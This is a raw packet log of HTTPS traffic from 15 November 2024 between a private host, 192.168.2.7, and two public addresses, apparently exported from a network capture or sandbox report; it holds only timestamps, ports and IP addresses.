Nov 15, 2024 19:39:50.119472027 CET	443	49902	184.28.90.27	192.168.2.7
Nov 15, 2024 19:39:50.119793892 CET	443	49902	184.28.90.27	192.168.2.7
Nov 15, 2024 19:39:50.119808912 CET	49902	443	192.168.2.7	184.28.90.27
Nov 15, 2024 19:39:50.119832039 CET	443	49902	184.28.90.27	192.168.2.7
Nov 15, 2024 19:39:50.119862080 CET	49902	443	192.168.2.7	184.28.90.27
Nov 15, 2024 19:39:50.119868994 CET	443	49902	184.28.90.27	192.168.2.7
Nov 15, 2024 19:39:50.119893074 CET	49902	443	192.168.2.7	184.28.90.27
Nov 15, 2024 19:39:50.119896889 CET	443	49902	184.28.90.27	192.168.2.7
Nov 15, 2024 19:39:50.134160995 CET	443	49904	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.134263992 CET	443	49904	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.134387970 CET	49904	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.134615898 CET	49904	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.134615898 CET	49904	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.134627104 CET	443	49904	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.134634972 CET	443	49904	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.147476912 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.147509098 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.147648096 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.148001909 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.148022890 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.216672897 CET	49920	443	192.168.2.7	184.28.90.27
Nov 15, 2024 19:39:50.216712952 CET	443	49920	184.28.90.27	192.168.2.7
Nov 15, 2024 19:39:50.217048883 CET	49920	443	192.168.2.7	184.28.90.27
Nov 15, 2024 19:39:50.217607021 CET	49920	443	192.168.2.7	184.28.90.27
Nov 15, 2024 19:39:50.217619896 CET	443	49920	184.28.90.27	192.168.2.7
Nov 15, 2024 19:39:50.335302114 CET	443	49909	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.344275951 CET	49909	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.344290972 CET	443	49909	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.344711065 CET	443	49909	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.371910095 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.388626099 CET	49909	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.417375088 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.431879997 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.431890965 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.432293892 CET	49909	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.432477951 CET	443	49909	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.432807922 CET	49909	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.435818911 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.435911894 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.436342955 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.436522961 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.438309908 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.438317060 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.475336075 CET	443	49909	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.479088068 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.559130907 CET	443	49909	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.559787989 CET	443	49909	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.564649105 CET	49909	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.574115992 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.609916925 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.609977007 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.609997988 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.610033989 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.610054016 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.610074043 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.610084057 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.610135078 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.610167027 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.610167027 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.610668898 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.611944914 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.611980915 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.613511086 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.613881111 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.640625000 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.640729904 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.641849995 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.641875982 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.642112017 CET	49909	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.642131090 CET	443	49909	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.680960894 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.681042910 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.681046009 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.681068897 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.681114912 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.691756964 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.725424051 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.725478888 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.725508928 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.725521088 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.725552082 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.725572109 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.725944042 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.726001978 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.726006985 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.726046085 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.726104975 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.726150036 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.726167917 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.726181030 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.726188898 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.726221085 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.751710892 CET	443	49915	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.752142906 CET	49915	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.752161026 CET	443	49915	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.752609015 CET	49915	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.752613068 CET	443	49915	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.801480055 CET	443	49916	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.802026033 CET	49916	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.802113056 CET	443	49916	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.802575111 CET	49916	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.802598000 CET	443	49916	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.812848091 CET	443	49917	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.821048021 CET	49917	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.821082115 CET	443	49917	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.821890116 CET	49917	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.821897030 CET	443	49917	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.845599890 CET	443	49918	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.846049070 CET	49918	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.846095085 CET	443	49918	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.846541882 CET	49918	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.846554041 CET	443	49918	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.874172926 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.874617100 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.874672890 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.875083923 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.875089884 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.885667086 CET	443	49915	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.885699034 CET	443	49915	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.885745049 CET	49915	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.885754108 CET	443	49915	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.885795116 CET	49915	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.885889053 CET	49915	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.885905027 CET	443	49915	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.885915041 CET	49915	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.885921001 CET	443	49915	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.888593912 CET	49921	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.888653994 CET	443	49921	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.888727903 CET	49921	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.888853073 CET	49921	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.888876915 CET	443	49921	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.892895937 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.892918110 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.892926931 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.892956972 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.892966032 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.892971039 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.892998934 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.893014908 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.893027067 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.893027067 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.893043995 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.893071890 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.894594908 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.894614935 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.894654989 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.894661903 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.894699097 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.894707918 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.895514965 CET	49922	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.895565987 CET	443	49922	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.895618916 CET	49922	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.895849943 CET	49922	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.895869017 CET	443	49922	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.957034111 CET	443	49916	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.957242012 CET	443	49916	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.957251072 CET	443	49917	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.957284927 CET	443	49917	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.957312107 CET	49916	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.957335949 CET	49917	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.957346916 CET	443	49917	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.957359076 CET	49916	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.957367897 CET	443	49917	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.957376957 CET	443	49916	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.957402945 CET	49916	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.957410097 CET	443	49916	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.957412004 CET	49917	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.957637072 CET	49917	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.957647085 CET	443	49917	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.957659006 CET	49917	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.957663059 CET	443	49917	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.961939096 CET	49924	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.961970091 CET	443	49924	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.962033033 CET	49924	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.962070942 CET	49925	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.962095976 CET	443	49925	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.962172985 CET	49924	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.962188005 CET	443	49924	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.962215900 CET	49925	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.962294102 CET	49925	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.962310076 CET	443	49925	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.972721100 CET	443	49918	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.972913027 CET	443	49918	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.972978115 CET	49918	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.973018885 CET	49918	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.973018885 CET	49918	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.973037004 CET	443	49918	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.973048925 CET	443	49918	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.976783991 CET	49926	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.976814032 CET	443	49926	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.976872921 CET	49926	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.977801085 CET	49926	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.977816105 CET	443	49926	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.003915071 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.003954887 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.004009008 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.004014969 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.004054070 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.004301071 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.004323006 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.004338980 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.004345894 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.009217978 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.009259939 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.009499073 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.009499073 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.009542942 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.011919975 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.011951923 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.012005091 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.012026072 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.012053967 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.012073040 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.013158083 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.013179064 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.013226986 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.013242006 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.013268948 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.013303041 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.014986992 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.015008926 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.015058994 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.015070915 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.015094995 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.015120029 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.015980005 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.016000986 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.016047001 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.016064882 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.016088009 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.016127110 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.077405930 CET	443	49920	184.28.90.27	192.168.2.7
Nov 15, 2024 19:39:51.077496052 CET	49920	443	192.168.2.7	184.28.90.27
Nov 15, 2024 19:39:51.078813076 CET	49920	443	192.168.2.7	184.28.90.27
Nov 15, 2024 19:39:51.078819036 CET	443	49920	184.28.90.27	192.168.2.7
Nov 15, 2024 19:39:51.079148054 CET	443	49920	184.28.90.27	192.168.2.7
Nov 15, 2024 19:39:51.080576897 CET	49920	443	192.168.2.7	184.28.90.27
Nov 15, 2024 19:39:51.123373032 CET	443	49920	184.28.90.27	192.168.2.7
Nov 15, 2024 19:39:51.131279945 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.131320953 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.131419897 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.131421089 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.131432056 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.131467104 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.131824970 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.131844044 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.131879091 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.131885052 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.131910086 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.131943941 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.132742882 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.132764101 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.132802010 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.132808924 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.132836103 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.132849932 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.133713961 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.133734941 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.133788109 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.133795023 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.133825064 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.134628057 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.134646893 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.134696960 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.134704113 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.134715080 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.134736061 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.135658026 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.135682106 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.135726929 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.135734081 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.135767937 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.136353016 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.136404991 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.136404037 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.136425018 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.136451006 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.136454105 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.136492014 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.136872053 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.136882067 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.328726053 CET	443	49920	184.28.90.27	192.168.2.7
Nov 15, 2024 19:39:51.328900099 CET	443	49920	184.28.90.27	192.168.2.7
Nov 15, 2024 19:39:51.328950882 CET	49920	443	192.168.2.7	184.28.90.27
Nov 15, 2024 19:39:51.329669952 CET	49920	443	192.168.2.7	184.28.90.27
Nov 15, 2024 19:39:51.329680920 CET	443	49920	184.28.90.27	192.168.2.7
Nov 15, 2024 19:39:51.329694986 CET	49920	443	192.168.2.7	184.28.90.27
Nov 15, 2024 19:39:51.329700947 CET	443	49920	184.28.90.27	192.168.2.7
Nov 15, 2024 19:39:51.624088049 CET	443	49922	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.624450922 CET	49922	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.624480009 CET	443	49922	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.625049114 CET	443	49922	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.625354052 CET	49922	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.625435114 CET	443	49922	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.625567913 CET	49922	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.654930115 CET	443	49921	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.655389071 CET	49921	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.655417919 CET	443	49921	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.655821085 CET	49921	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.655827045 CET	443	49921	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.667357922 CET	443	49922	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.688230991 CET	443	49924	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.688715935 CET	49924	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.688738108 CET	443	49924	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.689162016 CET	49924	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.689167976 CET	443	49924	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.710515976 CET	443	49925	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.710864067 CET	49925	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.710886002 CET	443	49925	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.711292028 CET	49925	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.711306095 CET	443	49925	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.733025074 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.733381033 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.733400106 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.733834982 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.733843088 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.754817009 CET	443	49922	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.755155087 CET	49922	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.755175114 CET	443	49922	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.755187988 CET	443	49922	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.755233049 CET	49922	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.755258083 CET	49922	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.790370941 CET	443	49921	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.790460110 CET	443	49921	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.790528059 CET	49921	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.790796041 CET	49921	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.790822029 CET	443	49921	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.790838003 CET	49921	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.790846109 CET	443	49921	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.794081926 CET	49934	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.794127941 CET	443	49934	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.794189930 CET	49934	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.794365883 CET	49934	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.794383049 CET	443	49934	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.813977003 CET	443	49924	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.814023972 CET	443	49924	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.814143896 CET	443	49924	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.814198971 CET	49924	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.814248085 CET	49924	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.814264059 CET	443	49924	13.107.246.45	192.168.2.7
